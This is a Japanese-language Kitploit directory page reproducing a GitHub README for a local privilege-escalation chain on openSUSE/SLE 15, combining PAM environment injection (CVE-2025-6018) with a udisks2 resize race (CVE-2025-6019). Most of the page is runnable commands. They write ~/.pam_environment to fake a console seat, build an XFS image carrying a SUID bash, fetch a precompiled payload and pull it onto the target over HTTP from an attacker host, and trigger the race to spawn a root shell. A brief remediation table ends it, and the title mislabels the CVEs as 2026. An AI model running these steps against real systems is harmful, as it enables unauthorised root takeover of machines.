Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-6018-9-Local-Privilege-Escalation-Chain — SUSE Linux におけるローカル権限昇格のためのエクスプロイトチェーン。PAM 環境変数インジェクションと udisks2 のレースコンディションを連鎖させて root シェルを取得します。 | Kitploit
ツール/GitHubGitHub/m0r4a/cve-2026-6018-9-local-privilege-escalation-chain
特権昇格脆弱性分析エクスプロイトポストエクスプロイトペネトレーションテストレッドチーミング
GitHubm0r4a/cve-2026-6018-9-local-privilege-escalation-chain

CVE-2026-6018-9-Local-Privilege-Escalation-Chain

SUSE Linux におけるローカル権限昇格のためのエクスプロイトチェーン。PAM 環境変数インジェクションと udisks2 のレースコンディションを連鎖させて root シェルを取得します。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
114ヶ月前未レビュー

CVE-2025-6018 + CVE-2025-6019: ローカル権限昇格チェーン

対象OS: openSUSE Leap 15.x / SUSE Linux Enterprise 15.x
必要なアクセス権: SSHアクセスが可能な非特権ローカルユーザー
結果: 完全なrootシェル

概要

このドキュメントでは、Qualys Threat Research Unitによって発見された2つの連鎖するローカル権限昇格の脆弱性を手動で悪用する方法について詳しく説明します。

  • CVE-2025-6018 — ~/.pam_environmentを介したPAM環境変数インジェクション。リモートSSHユーザーが、通常は物理的に存在するコンソールユーザーにのみ付与されるallow_active Polkitステータスを取得できるようにします。
  • CVE-2025-6019 — libblockdev(udisks2が使用)が、Filesystem.Resize D-Bus操作中にファイルシステムを一時的にマウントする際にnosuidフラグの適用に失敗します。これにより、ユーザーが制御するループデバイスからSUIDバイナリを実行できます。

これらの脆弱性を連鎖させることで、非特権SSHユーザーは他のユーザーの操作を必要とせずにrootへ権限昇格できます。

前提条件

攻撃者マシン(Kali Linux):

  • xfsprogsがインストールされていること(sudo apt install xfsprogs -y)
  • gccが利用可能であること
  • HTTPサーバー機能(python3 -m http.server)

ターゲットマシン:

  • openSUSE Leap 15.x または SUSE Linux Enterprise 15.x
  • udisks2とpolkitがインストールされていること(これらのシステムではデフォルト)
  • gdbusが利用可能であること(glib2の一部としてデフォルトインストール)
  • 非特権ユーザーとしてのSSHアクセス

ステップ1: 脆弱性の確認

非特権ユーザーとしてSSHアクセスを取得した後、ターゲットが脆弱であることを確認します。

OSの確認:

root@kitploit:~
cat /etc/os-release | grep -E "NAME|VERSION"

システムはopenSUSE Leap 15.xまたはSUSE Linux Enterprise 15.xである必要があります。

pam_envがユーザーファイルを読み取ることを確認:

root@kitploit:~
grep "pam_env" /etc/pam.d/common-auth

user_readenv=1または単にpam_env.soの存在を探します。デフォルトのSUSEインストールではこれが有効になっています。

udisks2とpolkitが実行中であることを確認:

root@kitploit:~
systemctl is-active udisks2
systemctl is-active polkit

ループデバイスセットアップのPolkitポリシーを確認:

root@kitploit:~
grep -A3 "loop-setup" /usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy

allow_activeの値がyesである必要があります。


ステップ2: CVE-2025-6018 — PAMインジェクションによるallow_activeの取得

この脆弱性は、pam_env.soがSSHログイン中に~/.pam_environmentを読み取り、pam_systemd.soがセッションコンテキストを評価する前にそれらの変数をセッション環境に注入することを悪用します。XDG_SEATとXDG_VTNRを設定することで、攻撃者はsystemd-logindを欺いてリモートSSHセッションを物理コンソールセッションとして扱わせ、allow_active Polkit権限を付与させます。

変数の注入:

root@kitploit:~
echo "XDG_SEAT DEFAULT=seat0" > ~/.pam_environment
echo "XDG_VTNR DEFAULT=1" >> ~/.pam_environment
echo "XDG_SESSION_TYPE DEFAULT=x11" >> ~/.pam_environment

ログアウトしてSSHで再接続し、PAM処理をトリガー:

root@kitploit:~
exit
root@kitploit:~
ssh user@<target_ip>

allow_activeが付与されたことを確認:

root@kitploit:~
loginctl list-sessions
loginctl show-session <SESSION_ID> | grep -E "Active|Seat|VTNr|Remote"

出力に以下が表示される必要があります:

root@kitploit:~
Active=yes
Seat=seat0
VTNr=1

セッションIDとD-Busアドレスが自動的に設定されない場合は設定:

root@kitploit:~
export XDG_SESSION_ID=<SESSION_ID>
export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/<UID>/bus

ステップ3: 悪意のあるXFSイメージの準備(攻撃者マシン)

XFSイメージは、SUSE 15カーネルと互換性のある機能でフォーマットする必要があります。最新バージョンのxfsprogsは、exchange、parent、bigtime、inobtcount、nrext64などの機能をデフォルトで有効にしますが、これらは古いSUSEカーネルではサポートされておらず、マウント失敗の原因となります。以下のフラグは互換性のあるV5 XFSイメージを生成します:

root@kitploit:~
dd if=/dev/zero of=/tmp/xfs.image bs=1M count=500

mkfs.xfs -f -m crc=1,reflink=0,rmapbt=0,inobtcount=0,bigtime=0 -i sparse=0,nrext64=0,exchange=0 -n parent=0 -d agcount=4 /tmp/xfs.image

イメージをマウントし、SUID bashバイナリを注入:

root@kitploit:~
sudo mkdir -p /tmp/mnt
sudo mount -o loop /tmp/xfs.image /tmp/mnt
sudo cp /bin/bash /tmp/mnt/bash
sudo chmod 4755 /tmp/mnt/bash
ls -la /tmp/mnt/bash
sudo umount /tmp/mnt

出力に-rwsr-xr-x 1 root rootが表示される必要があります。


ステップ4: レースコンディションキャッチャーの準備(攻撃者マシン)

Filesystem.Resize中の脆弱なマウントウィンドウはわずか数ミリ秒しかないため、確実に捕捉するにはコンパイル済みのCバイナリが必要です。純粋なBashループでは遅すぎます。

リリースページからプリコンパイル済みペイロードをダウンロード:

root@kitploit:~
wget https://github.com/m0r4a/CVE-2026-6018-9-Local-Privilege-Escalation-Chain/releases/download/v0.0.1/payload -O /tmp/payload

[!NOTE] バイナリを自分でコンパイルすることもできます。ソースコードはpayload.cで入手できます。

両方のファイルをHTTPで配信:

root@kitploit:~
cd /tmp && python3 -m http.server 8888

ステップ5: ターゲットへのファイル転送

root@kitploit:~
# XFSイメージの転送
wget http://<attacker_ip>:8888/xfs.image -O /tmp/xfs.image

# キャッチャーバイナリの転送
wget http://<attacker_ip>:8888/payload -O /tmp/payload
chmod +x /tmp/payload

ステップ6: CVE-2025-6019 — udisks2レースコンディションの悪用

このステップでは、ターゲットへの2つの同時SSHセッションが必要です。

ループデバイスのセットアップ(どちらかのセッション):

root@kitploit:~
udisksctl loop-setup -f /tmp/xfs.image --no-user-interaction

割り当てられたループデバイスをメモします(例: /dev/loop1)。

セッション1: キャッチャーを起動して実行したままにする:

root@kitploit:~
/tmp/payload

[!NOTE] キャッチャーがrootシェルを生成せずにすぐに終了する場合は、ループデバイスのセットアップ前に起動してみて、シーケンスを繰り返してください。

セッション2: すぐにリサイズをトリガー:

root@kitploit:~
export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/<UID>/bus

gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop1 --method org.freedesktop.UDisks2.Filesystem.Resize 0 "{}"

Resize呼び出しはエラーを返しますが、失敗する前にlibblockdevはnosuidフラグなしで/tmp/blockdev.XXXXXX/の一時パスにファイルシステムをマウントします。セッション1のキャッチャーはこのマウントを検出し、その中のSUID bashバイナリを実行し、rootシェルを/tmp/rootbashにコピーして起動します。

[!NOTE] Not authorized to perform operationの問題が発生した場合は、udiskctl loop-setup...コマンドの実行に成功したターミナルを使用し、もう一方のシェルで/tmp/payloadスクリプトを実行してみてください。


ステップ7: rootシェルの取得

キャッチャーが完了すると、rootシェルが自動的に起動されるか、以下の方法で取得できます:

root@kitploit:~
/tmp/rootbash -p
whoami
# root

修復策

ツールをダウンロード
コンポーネント修正
CVE-2025-6018PAMでuser_readenvを無効化: /etc/pam.d/common-authでuser_readenv=0を設定
CVE-2025-6019libblockdevとudisks2をディストリビューションベンダーのパッチ適用済みバージョンに更新
Polkitの強化UDisks2ポリシーファイルでorg.freedesktop.udisks2.loop-setupのallow_activeをauth_adminに変更